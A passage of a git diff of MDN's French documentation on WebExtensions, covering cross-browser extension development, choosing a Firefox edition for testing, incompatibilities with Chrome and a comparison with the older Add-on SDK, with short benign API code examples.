Les différences dans les fonctions API offertes dans chacun des quatre principaux navigateurs se répartissent en trois grandes catégories :

+ +
    +
  • Manque de soutien pour l'ensemble d'une fonction. Par exemple, au moment d'écrire ces lignes, Edge ne prenait pas en charge la fonction de vie privée.
    • +
  • Variations in the support for features within a function. For example, at the time of writing, Firefox doesn’t support the notification function method onButtonClicked while Firefox is the only browser that supports onShown.
    • +
  • Proprietary functions, supporting browser specific features. For example, at the time of writing, containers was a Firefox-specific feature supported by the contextualIdentities function.
    • +
+ +

You can find details about the support for the extension APIs among the four main browsers and Firefox for Android on the Mozilla Developer Network Browser support for JavaScript APIs page. Browser compatibility information is also included with each function and its methods, types, and events in the Mozilla Developer Network JavaScript APIs reference pages.

+ +

A simple approach to addressing these differences is to limit the functions used in your extension to functions that offer the same functionality across your range of targeted browsers. In practice, for most extensions, this approach is likely to be too restrictive.

+ +

The approach you should take where there are differences among the APIs, is to offer either alternative implementations or fallback functionality. Remember that you may also need to do this to allow for differences in API support between versions of the same browser.

+ +

The use of runtime checks on the availability of a function’s features is the recommended approach to implementing alternative or fallback functionality. The benefit of performing a runtime check is that if the function becomes available you don’t need to update and redistribute the extension to take advantage of it.

+ +

The following code enables you to perform a runtime check:

+ +
if (typeof <function> === "function") {
+   // safe to use the function
+}
+ +

Manifest keys

+ +

The differences in the manifest.json file keys supported by the four main browsers fall broadly into three categories:

+ +
    +
  • Extension information attributes. For example, at the time of writing, Firefox and Opera include the developer key for details about the developer, as well as the author, of the extension.
    • +
  • Extension features. For example, at the time of writing, Edge did not support the commands key that enables shortcut keys to be defined for an extension.
    • +
  • Key optionality. For example, at the time of writing, the author key is mandatory in Edge but optional in the other main browsers.
    • +
+ +

Browser compatibility information is included with each key in the Mozilla Developer Network manifest.json key reference pages.

+ +

As manifest.json files tend to change little—except for release numbers, which may be different between the various browsers—creating and editing a static version for each browser is usually the simplest approach.

+ +

Extension packaging

+ +

Packaging an extension for distribution through the browser extension stores is relatively straightforward. Firefox, Chrome, and Opera all use a simple zip format that requires the manifest.json file to be at the root of the zip package. However, submitting to the Microsoft store requires additional packaging of the extension file.

+ +

For details on packaging, refer to the guidance on the respective extension’s developer portals.

+ +

Publishing

+ +

Each of the four major browsers maintains browser extension stores. As a consequence, you need to approach adding and updating your extension in each separately. In some cases you can upload your extension using a utility. Each of the stores also performs a review of your extension to check for security vulnerabilities. The table below summarizes the approach and features of each store:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Registration fee

+ 		+

Upload utility

+ 		+

Pre-publication review process

+ 		+

Account two factor authentication

+
+

Firefox

+ 		+

No

+ 		+

web-ext

+ 		+

Automatic, a few seconds1

+ 		+

No

+
+

Chrome

+ 		+

Yes

+ 		+

Yes

+ 		+

Automatic, less than an hour

+ 		+

Yes

+
+

Opera

+ 		+

No

+ 		+

No

+ 		+

Manual, no SLA provided

+ 		+

No

+
+

Edge

+ 		+

Yes

+ 		+

No

+ 		+

Manual, up to 72 hours2

+ 		+

Yes

+
+ +

1) A manual review of the extension takes place after publication, which may result in the extension being suspended where issues that need fixing are found.

+ +

2) At the time of writing, Microsoft was only allowing publication of preapproved extensions.

+ +

Other considerations

+ +

Extension naming

+ +

Microsoft requires that extensions have unique names and provides a process for claiming one or more names for your extension through the Windows Dev Center. It may therefore be prudent to reserve an extension name with Microsoft, even if you’re not intending to support Edge immediately. None of the other stores apply name restrictions.

+ +

Version numbering

+ +

The Firefox and Chrome stores require that each uploaded version has a separate version number. This means that you cannot revert to an earlier version number, if you come across issues in a release.

+ +

Share content

+ +

Even when you include developing extensions for Safari, there are a number of assets you can potentially share across all of your implementations. These include:

+ +
    +
  • Images
    • +
  • HTML
    • +
  • CSS
    • +
+ +

Conclusion

+ +

When approaching a cross-platform extension development, addressing the fundamental differences between extension API implementations can be addressed by targeting Firefox and using the WebExtension browser API Polyfill. Following this approach you benefit from using API features that are closely aligned with the proposed extensions API standard and offer you the simplicity of promises for asynchronous event handling.

+ +

The bulk of your cross-platform work is likely to focus on handling variations among the API features supported by the main browsers. Creating your manifest.json files should be relatively straightforward and something you can do manually. You will then need to account for the variations in extension packaging and the processes for submitting to each of the extension stores.

+ +

Following the advice in this article, you should be able to create an extension that works well on all of the four main browsers, enabling you to deliver your extension features to more people.

diff --git a/files/fr/mozilla/add-ons/webextensions/choisissez_une_version_firefox_pour_le_developpement_extensions_web/index.html b/files/fr/mozilla/add-ons/webextensions/choisissez_une_version_firefox_pour_le_developpement_extensions_web/index.html deleted file mode 100644 index 69d23ee3ba..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/choisissez_une_version_firefox_pour_le_developpement_extensions_web/index.html +++ /dev/null @@ -1,218 +0,0 @@ ---- -title: Choisissez une version Firefox pour le développement d'extensions web -slug: >- - Mozilla/Add-ons/WebExtensions/choisissez_une_version_firefox_pour_le_developpement_extensions_web -tags: - - Add-ons - - Développement - - Extensions - - Guide - - Outils - - Tools -translation_of: >- - Mozilla/Add-ons/WebExtensions/Choose_a_Firefox_version_for_web_extension_develop ---- -

{{AddonSidebar}}

- -

Firefox propose plusieurs versions qui offrent différentes capacités pour le développement d'extensions web. Cet article donne un aperçu des différences entre ces versions de Firefox et recommande comment les utiliser dans le cycle de développement.

- -

Ce tableau résume les informations sur les éditions, les fonctionnalités de développement d'extension et fournit une recommandation pour chaque édition utilisée dans le développement d'extension.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-

Edition

- 		-

Version

- 		-

Stable

- 		-

Outils pour le développement de l'extension

- 		-

Installe les extensions non signées

- 		-

Utilisation recommandée pour le développement de l'extension

-
-

Release

- 		-

Courant

- 		-

Oui

- 		-

Oui

- 		-

Non

- 		-

Tests de régression

- -

Tests alpha et bêta par l'utilisateur

-
-

Beta

- 		-

Courant+1

- 		-

Oui

- 		-

Oui

- 		-

Non

- 		-

Tests de régression

- -

Tests alpha et bêta par l'utilisateur

-
-

Developer Edition

- 		-

Courant +1

- 		-

Oui

- 		-

Oui

- 		-

Oui

- 		-

Développement de l'extension

-
-

Nightly

- 		-

Courant +2

- 		-

Non

- 		-

Oui

- 		-

Oui

- 		-

Accès anticipé à la dernière API WebExtension

-
-

ESR

- 		-

Courant - >1

- 		-

Oui

- 		-

Oui

- 		-

Oui

- 		-

Développement de la vulgarisation au sein des entreprises

-
- -

Firefox version and their web extension development capabilities

- -

Finale

- -

C'est la version de Firefox que la plupart des gens utilisent, c'est la version offerte quand quelqu'un visite la page principale de téléchargement Firefox.

- -

Vous chargez les extensions en cours de développement dans cette version de Firefox en utilisant about:debugging ou web-ext et avez accès à la fenêtre de débogage de l'addon.  Cependant, vous ne pouvez pas installer des extensions non signées, ce qui limite votre capacité à tester des fonctionnalités telles que le comportement de redémarrage, les invites d'autorisation et les mises à niveau.

- -

Le développement d'extensions pour Firefox pour Android est entièrement supporté.

- -

Utilisation suggérée pour le développement : Vous pouvez installer et tester une copie signée de votre extension dans la version de publication pour effectuer un test de régression final. Vous pouvez également distribuer des copies signées de votre extension à d'autres personnes pour les aider à effectuer des tests alpha ou bêta.

- -

Téléchargement

- -

Béta

- -

Cette version de Firefox est généralement utilisée par les personnes intéressées à profiter des fonctionnalités de la prochaine version de Firefox.

- -

Vous chargez les extensions en cours de développement dans cette version de Firefox en utilisant about:debugging ou web-ext et avez accès à la fenêtre de débogage de l'addon.  Cependant, vous ne pouvez pas installer des extensions non signées, ce qui limite votre capacité à tester des fonctionnalités telles que le comportement de redémarrage, les invites d'autorisation et les mises à niveau.

- -

Le développement d'extensions pour Firefox pour Android est entièrement supporté.

- -

Utilisation suggérée pour le développement : Vous pouvez installer et tester une copie signée de votre extension dans Beta pour effectuer un test de régression. De tels tests vous donneront une certaine certitude que votre extension continuera à fonctionner correctement dans la prochaine version de Firefox. Vous pouvez également distribuer des copies signées de votre extension à d'autres personnes pour les aider à effectuer des tests alpha ou bêta.

- -

Téléchargement

- -

Edition développeur

- -

Cette version de Firefox est basée sur la version bêta de Firefox avec des fonctionnalités supplémentaires conçues pour aider au développement du Web et des extensions Web.

- -

Vous chargez les extensions en cours de développement dans cette version de Firefox en utilisant about:debugging ou web-ext et avez accès à la fenêtre de débogage de l'addon. Vous pouvez également installer des extensions non signées, après avoir ajusté ou paramétré certaines propriétés de about:config (généralement moins de changements que nécessaire pour réaliser les mêmes tâches dans Nightly). Cela vous permet de tester des fonctionnalités telles que le comportement de redémarrage, les invites d'autorisation et les mises à niveau.

- -

Le développement d'extensions pour Firefox pour Android est entièrement supporté.

- -

Utilisation suggérée pour le développement : Utilisez Developer Edition comme votre principale plate-forme de développement et de test d'extensions web.

- -

Téléchargement

- -

Nightly

- -

Cette version de Firefox fournit une version qui est mise à jour tous les soirs avec les dernières fonctionnalités de développement pour la future version de Firefox. Il est généralement utilisé par les personnes intéressées à découvrir les toutes dernières fonctionnalités et à donner leur avis lorsqu'elles rencontrent des problèmes.

- -

Vous chargez les extensions en cours de développement dans cette version de Firefox en utilisant about:debugging our web-ext et avez accès à la fenêtre de débogage de l'addon. Vous pouvez également installer des extensions non signées, après avoir ajusté ou configuré certaines propriétés de about:config. Cela vous permet de tester des fonctionnalités telles que le comportement de redémarrage, les invites d'autorisation et les mises à niveau.

- -

Le développement d'extensions pour Firefox pour Android est entièrement supporté.

- -

Utilisation suggérée pour le développement : Nightly fournit un aperçu des futures fonctionnalités de Firefox, y compris les API WebExtension, qui sont en cours de développement. La stabilité des fonctionnalités n'est pas garantie, par conséquent, Nightly n'est pas recommandé comme plateforme de développement d'extension web principale. Vous pouvez, cependant, utiliser Nightly là où vous voulez profiter des fonctionnalités à venir ou tester pour vous donner la plus longue vue d'ensemble de la compatibilité de votre extension avec Firefox.

- -

Download

- -

ESR

- -

La version ESR (Extended Support Release) de Firefox offre des fonctionnalités permettant aux professionnels informatiques de configurer et de déployer Firefox dans leur organisation. Il fournit également aux entreprises une version de Firefox stable du point de vue des fonctionnalités pour une durée plus longue que celle du cycle de version normal. Ainsi, au moment d'écrire ces lignes, la version de sortie de Firefox était de 65 (avec Beta sur 66 et Nightly sur 67) la version ESR était de 60.

- -

Vous chargez les extensions en cours de développement dans cette version de Firefox en utilisant about:debugging ou web-ext et avez accès à la fenêtre de débogage de l'addon. Vous pouvez également installer des extensions non signées, après avoir ajusté ou défini certaines propriétés de about:config (cette fonctionnalité est fournie pour que les entreprises puissent installer des extensions qu'elles veulent garder privées et ne veulent pas soumettre à add-ons.mozilla.org pour signature).

- -

Le développement d'extensions pour Firefox pour Android est entièrement supporté.

- -

Utilisation suggérée pour le développement : Utilisez ESR comme principale plate-forme de développement et de test d'extensions Web lors du développement d'extensions pour une entreprise et vous souhaitez confirmer que l'ensemble des fonctionnalités de votre extension est compatible avec la version ESR.

- -

Téléchargement

- - diff --git a/files/fr/mozilla/add-ons/webextensions/chrome_incompatibilities/index.html b/files/fr/mozilla/add-ons/webextensions/chrome_incompatibilities/index.html new file mode 100644 index 0000000000..71d20cc62b --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/chrome_incompatibilities/index.html @@ -0,0 +1,179 @@ +--- +title: Incompatibilités avec Chrome +slug: Mozilla/Add-ons/WebExtensions/Incompatibilités_Chrome +tags: + - Guide + - WebExtensions + - google chrome +translation_of: Mozilla/Add-ons/WebExtensions/Chrome_incompatibilities +--- +

{{AddonSidebar}}

+ +

Les extensions construites à l'aide des API WebExtension sont conçues afin d'être compatibles avec les extensions Chrome et Opera. Les extensions écrites dans ces navigateurs devraient fonctionner, autant que possible, avec très peu de changement dans Firefox.

+ +

Toutefois, il existe certaines différences significatives entre Chrome, Firefox et Edge et notamment :

+ + + +

La suite de cette page détaille ces problèmes ainsi que d'autres points d'incompatibilité.

+ +

Les API JavaScript

+ +

Les callbacks et l'espace de noms chrome.*

+ +

Dans Chrome, les extensions peuvent accéder aux API JavaScript privilégiées à l'aide de l'espace de noms chrome :

+ +
chrome.browserAction.setIcon({path: "path/to/icon.png"});
+ +

Les WebExtensions accèdent aux API équivalentes à l'aide de l'espace de noms browser :

+ +
browser.browserAction.setIcon({path: "path/to/icon.png"});
+
+ +

Beaucoup d'API sont asynchrones. Dans Chrome, les API asynchrones utilisent des fonctions de rappel (callback) pour renvoyer des valeurs et {{WebExtAPIRef("runtime.lastError")}} pour communiquer les erreurs :

+ +
function logCookie(c) {
+  if (chrome.extension.lastError) {
+    console.error(chrome.extension.lastError);
+  } else {
+    console.log(c);
+  }
+}
+
+chrome.cookies.set(
+  {url: "https://developer.mozilla.org/"},
+  logCookie
+);
+ +

Les API WebExtensions équivalentes utilisent plutôt les promesses :

+ +
function logCookie(c) {
+  console.log(c);
+}
+
+function logError(e) {
+  console.error(e);
+}
+
+var setCookie = browser.cookies.set(
+  {url: "https://developer.mozilla.org/"}
+);
+setCookie.then(logCookie, logError);
+
+ +

Firefox : les espaces de noms chrome et browser

+ +

Afin d'aider au portage, l'implémentation de Firefox des WebExtensions prend en charge l'espace de noms chrome, l'utilisation des callbacks, l'espace de noms browser et l'utilisation des promesses. Cela signifie que de nombreuses extensions Chrome fonctionneront simplement dans Firefox sans aucune modification. Cependant, cela ne fait pas partie de la norme WebExtension et peut ne pas être pris en charge par l'ensemble des navigateurs compatibles.

+ +

Si vous écrivez votre extension en utilisant browser et les promesses, l'équipe de Firefox a également développé une prothèse (polyfill) qui lui permettra de fonctionner sur Chrome : https://github.com/mozilla/webextension-polyfill.

+ +

Les API partiellement prises en charge

+ +

La page sur la compatibilité des navigateurs pour les API JavaScript WebExtension inclut l'ensemble des tableaux de compatibilité. Lorsqu'il existe des réserves autour du support d'un élément d'API donné, ceci est indiqué dans ces tableaux avec un astérisque "*". Ces réserves sont détaillées la page de documentation respective de l'API.

+ +

Ces tableaux sont générés à partir des données de compatibilité stockées en tant que  fichiers JSON dans GitHub.

+ +

Le reste de cette section décrit les problèmes de compatibilité qui ne sont pas encore pris en compte dans ces tableaux.

+ +

notifications

+ +
    +
  • Pour notifications.create(), lorsqu'on utilise le type "basic", l'icône iconUrl est optionnelle dans Firefox mais obligatoire dans Chrome.
    • +
  • Les notifications sont effacées immédiatement lorsque l'utilisateur clique dessus. Ce n'est pas le cas dans Chrome.
    • +
  • +

    Si vous appelez notifications.create() plusieurs fois et rapidement, Firefox peut finir par ne pas afficher de notification du tout. Attendre de faire d'autres appels dans le callback chrome.notifications.create() ne suffit pas (le délai n'est pas suffisamment long).

    +
    • +
+ +

proxy

+ + + +

tabs

+ +
    +
  • +

    Dans Firefox, les URL relatives passées à tabs.executeScript() ou tabs.insertCSS() sont résolues par rapport à l'URL de la page actuelle. Dans Chrome, ces URL sont résolues par rapport à l'URL de base de l'extension. Pour travailler pour l'ensemble des navigateurs, il est donc nécessaire d'indiquer le chemin comme URL absolue, en commençant par la racine de l'extension, comme ceci:

    + + 
    /chemin/vers/script.json
+
    +
    • +
  • Dans Firefox, interroger les onglets avec des URL avec tabs.query() nécessitent une permission "tabs". Dans Chrome, il est possible de le faire sans la permission "tabs" mais cela limitera les résultats aux onglets dont les URL correspondent aux permissions de l'hôte.
    • +
  • Dans Firefox, la promesse tabs.remove() est tenue après l'évènement beforeunload alors que pour Chrome, le callback n'attend pas beforeunload.
    • +
+ +

webRequest

+ +
    +
  • Dans Firefox, les requêtes ne peuvent être redirigées que si l'URL originale utilise le schéma http: ou https:.
    • +
  • Dans Firefox, les évènements ne sont pas déclenchés pour les requêtes système (mise à jour d'extensions, suggestions dans la barre de recherche). À partir de Firefox 57, Firefox fait une exception pour les extensions qui doivent intercepter {{WebExtAPIRef("webRequest.onAuthRequired")}} afin d'autoriser le proxy. Pour plus d'informations, voir la page {{WebExtAPIRef("webRequest.onAuthRequired")}}.
    • +
  • Dans Firefox, si une extension souhaite rediriger une URL publique vers une page d'extension, le fichier manifest.json de l'extension doit contenir une clé web_accessible_resources qui indique l'URL de la page de l'extension. On notera que n'importe quel site pourra alors lier ou rediriger vers cette URL et que les extensions doivent considérer n'importe quelle entrée (données provenant d'une requête POST par exemple) comme potentiellement dangereuse.
    • +
  • Dans Firefox, à partir de Firefox 52, certaines API browser.webRequest.* renvoient des promesses qui résolvent webRequest.BlockingResponse de façon asynchrone. Pour Chrome, seule webRequest.onAuthRequired prend en charge une gestion asynchrone de webRequest.BlockingResponse avec 'asyncBlocking'.
    • +
+ +

windows

+ +
    +
  • Dans Firefox, onFocusChanged sera déclenché plusieurs fois pour un changement de focus donné.
    • +
+ +

API non prises en charge

+ +

declarativeContent

+ +

l'API declarativeContent de Chrome n'a pas encore été implémentée in Firefox.

+ +

Firefox ne supportera pas l'API declarativeContent.RequestContentScript, qui est rarement utilisée et n'est pas disponible dans les versions stables de Chrome.

+ +

Incompatibilités diverses

+ +

Gestion des URL dans CSS

+ +

Firefox résout les URL dans les fichiers CSS injectés par rapport au fichier CSS lui-même, plutôt que dans la page dans laquelle il est injecté.

+ +

Incompatibilités supplémentaires

+ +

Firefox ne prend pas en charge alert(), confirm() ou prompt() à partir des pages d'arrière-plan.

+ +

web_accessible_resources

+ +

Dans Chrome, lorsqu'une ressource est répertoriée dans web_accessible_resources, elle est accessible via chrome-extension://<id-de-l-extension>/<chemin/vers/la/ressource>. L'identifiant de l'extension est fixé pour une extension donnée.

+ +

Firefox l'implémente différemment en utilisant un UUID aléatoire qui change pour chaque instance de Firefox : moz-extension://<UUID-aleatoire>/<chemin/vers/la/ressource>. Cette façon aléatoire peut empêcher certaines choses, comme ajouter l'URL de votre extension spécifique à la politique CSP d'un autre domaine.

+ +

La propriété key du manifeste

+ +

Lorsque vous travaillez avec une extension décompressée, Chrome permet d'ajouter une propriété key au manifeste afin de fixer l'identifiant de l'extension sur différentes machines. Ceci s'avère notamment utile lorsqu'on travaille avec web_accessible_resources. Puisque Firefox utilise des UUID aléatoires pour les web_accessible_resources, cette propriété n'est pas prise en charge.

+ +

Les requêtes sont relatives au contexte de l'extension et pas à celui du contenu de la page

+ +

Dans Chrome, lorsque la requête est appelée (par exemple, en utilisant fetch()) pour une URL relative comme /api du script de contenu, elle sera envoyée à https://example.com/api. Dans Firefox, vous devez fournir des URL absolues.

+ +

Les clés de manifest.json

+ +

La page relative à manifest.json contient un tableau décrivant la compatibilité des navigateurs pour les différentes clés du fichier. Lorsqu'il y a des mises en garde concernant le support d'une clé donnée, ceci est indiqué dans le tableau avec un astérisque "*" et de plus amples informations sont fournies dans la page décrivant la clé.

+ +

Ces tables sont générées à partir des données de compatibilité stockées en tant que fichiers JSON dans GitHub.

+ +

Communication avec le système natif

+ +

Arguments de messagerie basée sur la connexion

+ +

Sur Linux et Mac, Chrome passe un argument sur l'application natif, qui est l'origine de l'extension qui l'a lancée, sous la forme : chrome-extension://[extensionID]. Cela permet à l'application d'identifier l'extension.

+ +

Sur Windows, Chrome passe deux arguments: le premier est l'origine de l'extension, et le second est un handle de la fenêtre native de Chrome qui a démarré l'application.

+ +

allowed_extensions

+ +

Dans Chrome, la clé de manifeste allowed_extensions s'appelle allowed_origins.

+ +

Emplacement du fichier de manifeste d'application

+ +

Chrome s'attend à trouver le manifeste de l'application dans un autre endroit. Se référer à la documentation Chrome pour l'emplacement de l'hôte de messagerie natif.

diff --git a/files/fr/mozilla/add-ons/webextensions/comparaison_avec_le_sdk_add-on/index.html b/files/fr/mozilla/add-ons/webextensions/comparaison_avec_le_sdk_add-on/index.html deleted file mode 100644 index 52ec132d64..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/comparaison_avec_le_sdk_add-on/index.html +++ /dev/null @@ -1,746 +0,0 @@ ---- -title: Comparaison avec le SDK Add-on -slug: Mozilla/Add-ons/WebExtensions/Comparaison_avec_le_SDK_Add-on -tags: - - Addon SDK - - AddonSDK - - SDK - - WebExtensions - - porting -translation_of: Mozilla/Add-ons/WebExtensions/Comparison_with_the_Add-on_SDK ---- -
{{AddonSidebar}}
- -

Cet article est une comparaison technique entre les add-ons construits avec le SDK et ceux construits avec la technologie WebExtensions. Il est destiné à aider les personnes maintenant un add-on SDK à le porter vers une WebExtension.

- -
-

La prise en charge des extensions utilisant XUL/XPCOM ou le SDK Add-on a été supprimée dans Firefox 57, publié en novembre 2017. Comme il n'y a pas de version supportée de Firefox permettant ces technologies, cette page sera supprimée d'ici décembre 2020.

-
- -

Si vous souhaitez porter une extension de surcouche ou une extension bootstrappée, consultez la page de comparaison des extensions XUL/XPCOM.

- -

Les WebExtensions et add-ons SDK partagent les mêmes concepts et structures de base. Ces deux technologies utilisent :

- - - -

Au-delà de ces ressemblances, il existe de nombreuses différences énumérées ci-après.

- -

Les fichiers de manifeste

- -

Pour ces deux technologies, on dispose d'un fichier manifeste en JSON situé dans le répertoire racine de l'extension. Dans le SDK, ce fichier est appelé package.json ; pour les WebExtensions, ce fichier s'intitule manifest.json. Les deux fichiers contiennent des métadonnées de base telles que le nom, la description et les icônes de l'extension.

- -

Cependant, manifest.json contient de nombreuses clés qui définissent certaines capacités et certains comportements de l'extension. Pour le SDK, certaines sont définies dans le code :

- - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéSDKWebExtensions
Scripts de contenu correspondant aux modèles d'URLAPI page-modClé de manifeste content_scripts
Boutons de la barre d'outilsAPI ui/button/actionClé de manifeste browser_action
Accéder aux API privilégiéesFonction require()Clé de manifeste permissions
- -

Les WebExtensions sont donc plus déclaratives et moins programmables que les add-ons construits avec le SDK.

- -

Pour le  SDK, on utilisera généralement jpm init afin de créer un nouveau package.json. La technologie WebExtensions n'a pas d'équivalent de jpm init, le fichier de manifeste sera probablement écrit à partir de zéro ou adapté d'un fichier existant.

- -

En savoir plus

- - - -

Scripts persistants

- -

Les deux technologies utilisent des scripts persistants qui restent chargés pendant que l'extension est active. Ces scripts accèdent à des API privilégiées et peuvent communiquer avec d'autres parties de l'extension telles que les scripts de contenu.

- -

Dans le SDK, par défaut, ce script est appelé index.js et il peut charger d'autres scripts à l'aide du chargeur de module.

- -

Avec les WebExtensions, ces scripts sont appelés scripts d'arrière-plan. Vous pouvez définir un ensemble de scripts listés via la clé de manifeste background et tous seront chargés dans le même document (une page HTML vierge cachée et générée automatiquement). Vous pouvez également définir votre propre document personnalisé à l'aide de la clé background.

- -

Une différence importante est que les scripts d'arrière-plan ont accès à la variable globale  window globale qui permet d'utiliser l'ensemble des objets DOM habituellement présents dans une fenêtre. De cette façon, l'écriture des extensions se rapproche de l'écriture de pages web avec un accès direct à l'ensemble des API Web classiques (par exemple XMLHttpRequest ou IndexedDB).

- -

On notera également que, par défaut, les extensions ont une politique de sécurité de contenu (CSP) qui leur est appliquée. Vous pouvez spécifier votre propre politique, mais la politique par défaut, entre autres, interdit les pratiques potentiellement dangereuses telles que l'utilisation d'eval().

- -

En savoir plus

- - - -

Scripts de contenus

- -

Pour les extensions SDK et les WebExtensions, les scripts persistants ne peuvent pas accéder directement au contenu des pages web. Au lieu de cela, les extensions peuvent ajouter des scripts de contenu aux pages web. Ces scripts :

- -
    -
  • accèdent directement au contenu web
    • -
  • n'accèdent pas aux API privilégiées
    • -
  • peuvent communiquer avec les scripts persistants avec une API de messagerie.
    • -
- -

Pour  les deux technologies, on dispose de deux façons pour ajouter des scripts de contenu : on peut rattacher un ensemble de scripts aux pages dont l'URL contient un motif donné ou on peut, via le code, ajouter un script à une page d'un onglet donné. Si ces mécanismes existent dans les deux technologies, ils sont exécutés différemment :

- - - - - - - - - - - - - - - - - - - - - -
OpérationSDKWebExtensions
Attacher des scripts à des pages dont l'URL correspond à un motifAPI page-modClé de manifeste content_scripts
Attacher des scripts à des pages hébergées dans un onglettab.attach()tabs.executeScript()
- -

Les motifs de correspondance utilisés pour les URL sont différentes :

- - - -

Dans les deux technologies, on peut passer des options pour contrôler lorsque le script s'exécute et s'il sera attaché aux sous-trames. Les  WebExtensions n'ont pas d'équivalent pour contentScriptOptions et, si on veut transmettre les options de configuration à un script de contenu, il faudra les envoyer via un message ou les stocker dans storage.local.

- -

Dans les deux technologies, les scripts de contenu peuvent communiquer avec des scripts persistants grâce à une API de communication asynchrone :

- - - - - - - - - - - - - - - - - - - - - -
OpérationSDKWebExtensions
Envoi de  messageport.emit()runtime.sendMessage() / tabs.sendMessage()
Réception de  messageport.on()runtime.onMessage
- - - -

Dans les deux cas, les scripts de contenus peuvent communiquer avec les scripts chargés par la page à l'aide de window.postMessage et window.addEventListener.

- -

Dans les deux cas, les scripts accèdent à une vue « propre » du DOM : cela signifie qu'ils ne voient pas les modifications apportées au DOM par les scripts chargés par la page.

- -

Dans le SDK, les scripts de contenu peuvent partager des objets avec des scripts de page, en utilisant des techniques comme unsafeWindow et createObjectIn. Avec les WebExtensions, la unsafeWindow est disponible par l'intermédiaire de wrappedJSObject. Toutes les fonctions d'aide à l'exportation sont également disponibles.

- -

En savoir plus

- - - -

Les éléments d'interface utilisateur (UI)

- -

Les deux technologies fournissent des API pour créer une interface utilisateur pour l'extension. Les options d'interface utilisateur pour les WebExtensions sont plus limitées.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Elément d'interfaceSDKWebExtensions
Boutonui/button/actionbrowser_action / page_action
Interrupteur / Bouton à basculeui/button/togglebrowser_action / page_action
Barre d'outilsui/toolbarAucun
Barre latéraleui/sidebarsidebar_action
Panneaupanelbrowser_action / page_action popup
Menu contextuelcontext-menucontextMenus
- -

Panneaux et fenêtres contextuelles

- -

Les panneaux et les fenêtres contextuelles sont des boites de dialogue transitoires définies à l'aide de HTML, CSS et JavaScript.

- -

Contrairement aux panneaux, les fenêtres contextuelles sont toujours attachées à un bouton (une action de navigateur ou une action de page) et ne peuvent pas être affichés par programmation : ils ne s'affichent que lorsque l'utilisateur clique sur le bouton.

- -

Aussi, contrairement aux panneaux, les scripts des fenêtres contextuelles ont accès aux mêmes API que les scripts d'arrière-plan. Ils peuvent même accéder directement à la page d'arrière-plan, via  runtime.getBackgroundPage().

- -

Paramètres

- -

Les extensions SDK et les WebExtensions permettent toutes les deux de gérer des paramètres (aussi appelées options ou préférences).

- -

Avec le fichier SDK, il est possible d'indiquer des paramètres via la clé preferences dans le fichier package.json. L'utilisateur peut voir et modifier ces préférences via l'entrée du Gestionnaire de modules de l'extension. À l'inverse, l'extension peut écouter les changements de paramètres à l'aide de l'API simple-prefs.

- -

Dans les WebExtensions, vous devrez implémenter votre propre interface utilisateur afin de présenter les paramètres et votre propre code pour les garder en mémoire pour votre extension. Pour cela, on écrira un fichier HTML qui présente les paramètres et qui peut inclure un script permettant de les sauvegarder. Le script a accès à toutes les API des WebExtensions et on utilisera généralement l'API storage pour la mémorisation.

- -

L'URL du fichier HTML pour l'écran des paramètres doit être indiqué avec la clé options_ui du fichier manifest.json. La page de paramètres apparaît alors dans l'entrée de l'extension sous le Gestionnaire de modules des extensions. La page d'options peut également être ouverte via le code grâce à un appel à browser.runtime.openOptionsPage.

- -

On notera que les WebExtensions ne permettent pas d'accéder aux préférences du navigateur (c'est-à-dire les préférences exposées dans le SDK par preferences/service). Toutefois, il est possible de modifier certains paramètres du navigateur grâce aux API privacy et browserSettings.

- -

En apprendre plus

- - - -

Internationalisation

- -

Le SDK et les WebExtensions contiennent tous les deux des outils de localisation pour traduire le texte qui sera visible par l'utilisateur. Ces deux outils offrent des fonctionnalités similaires :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitésSDKWebExtensions
Chaînes dans les scripts d'arrière-planOuiOui
Chaînes dans les scripts de contenuNonOui
Chaînes dans les fichiers HTMLOuiNon
Chaînes dans les fichiers CSSNonOui
Titre et descriptionsOuiOui
Gestion des formes pluriellesOuiNon
Textes de substitution (placeholders)OuiOui
- -

Dans les deux systèmes, les chaînes traduites sont fournies via un ensemble de fichier : un pour chaque locale.

- -

Pour récupérer les chaînes localisées dans le code de l'extension, on peut utiliser l'API JavaScript l10n dans le SDK et l'API i18n pour les WebExtensions.

- -

Les WebExtensions ne gèrent pas nativement la localisation des chaînes présentes dans les fichiers HTML : il faut le faire soi-même en utilisant JavaScript pour récupérer des chaînes localisées et pour remplacer dynamiquement le contenu HTML par la version localisée.

- -

En savoir plus

- - - -

Outil en ligne de commande

- -

Le SDK livré avec un outil en ligne de commande : jpm qu'on peut utiliser pour tester et empaqueter les extensions. Il existe un outil équivalent pour les WebExtensions : web-ext. Web-ext ne prend pas en charge les mêmes commandes que jpm, mais gère run, build et sign.

- -

Il est maintenant possible d'installer (et de recharger) des extensions SDK et les extensions construites avec les API WebExtension dans Firefox à partir de leur répertoire source, sans avoir besoin de les empaqueter dans un fichier XPI. Voir l'installation temporaire dans Firefox.

- -

En savoir plus

- - - -

Les API JavaScript

- -

Que ce soit pour le SDK et les WebExtensions, la puissance des extensions provient d'un ensemble d'API JavaScript dédiées. Pour la plupart des API SDK de haut niveau, il existe un équivalent WebExtensions.

- -

Une grande limitation de WebExtensions par rapport au SDK est que les modules complémentaires SDK peuvent utiliser require("chrome") pour accéder à la gamme complète des API XPCOM dans Firefox. Ceci n'est pas possible avec WebExtensions.

- -

Pour accéder aux API privilégiées dans le SDK, on utilise require() :

- -
var tabs = require("sdk/tabs");
-tabs.open("https://developer.mozilla.org/");
- -

Avec WebExtensions, la plupart des API sont déjà disponibles, sans avoir besoin de les importer :

- -
browser.tabs.create({
-  "url": "/"
-});
- -

Pour certaines API WebExtension, vous devez d'abord demander la permission, en utilisant la clé des permissions de manifest.json. Dans l'exemple ci-dessous, l'extension doit demander l'autorisation "tabs" si elle souhaite accéder à l'URL de l'onglet :

- -

manifest.json

- -
...
-
-"permissions": [
-    "tabs"
-  ]
-
-...
- -

Script d'arrière-plan

- -
function logUrl(tabs) {
-  console.log(tabs[0].url);
-}
-
-var querying = browser.tabs.query(
